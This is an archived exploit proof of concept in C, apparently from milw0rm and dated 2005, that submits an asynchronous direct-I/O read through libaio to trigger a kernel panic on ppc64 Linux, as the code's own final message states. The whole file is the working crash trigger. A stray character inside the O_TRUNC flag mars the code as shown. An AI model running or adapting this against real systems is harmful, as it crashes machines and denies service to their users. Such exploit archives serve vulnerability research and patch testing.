//
// Proof of Concept by Daniel McNeil
// compile using cc -o aiodio_read aiodio_read.c -laio
//

#define _XOPEN_SOURCE 600 
#define _GNU_SOURCE 


#include <unistd.h> 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
#include <errno.h> 
#include <sys/fcntl.h> 
#include <sys/mman.h> 
#include <sys/wait.h> 
#include <sys/stat.h> 


#include <libaio.h> 


int pagesize; 
char *iobuf; 
io_context_t myctx; 
int aio_maxio = 4; 


/* 
* do a AIO DIO write 
*/ 
int do_aio_direct_read(int fd, char *iobuf, int offset, int size) 
{ 
struct iocb myiocb; 
struct iocb *iocbp = &myiocb; 
int ret; 
struct io_event e; 
struct stat s; 


io_prep_pread(&myiocb, fd, iobuf, size, offset); 
if ((ret = io_submit(myctx, 1, &iocbp)) != 1) { 
perror("io_submit"); 
return ret; 
} 


ret = io_getevents(myctx, 1, 1, &e, 0); 


if (ret) { 
struct iocb *iocb = e.obj; 
int iosize = iocb->u.c.nbytes; 
char *buf = iocb->u.c.buf; 
long long loffset = iocb->u.c.offset; 


printf("AIO read of %d at offset %lld returned %d\n", 
iosize, loffset, e.res); 
} 


return ret; 



} 


int main(int argc, char *argv[]) 
{ 
char *filename; 
int fd; 
int err; 

filename = "test.aio.file"; 
fd = open(filename, O_RDWR|O_DIRECT|O_CREAT|O_TRUN­C, 0666); 


pagesize = getpagesize(); 
err = posix_memalign((void**) &iobuf, pagesize, pagesize); 
if (err) { 
fprintf(stderr, "Error allocating %d aligned bytes.\n", 
pagesize); 
exit(1); 
} 
err = write(fd, iobuf, pagesize); 
if (err != pagesize) { 
fprintf(stderr, "Error ret = %d writing %d bytes.\n", 
err, pagesize); 
perror(""); 
exit(1); 
} 
memset(&myctx, 0, sizeof(myctx)); 
io_queue_init(aio_maxio, &myctx); 
err = do_aio_direct_read(fd, iobuf, 0, pagesize); 
close(fd); 


printf("This will panic on ppc64\n"); 
return err; 

}

// milw0rm.com [2005-04-04]
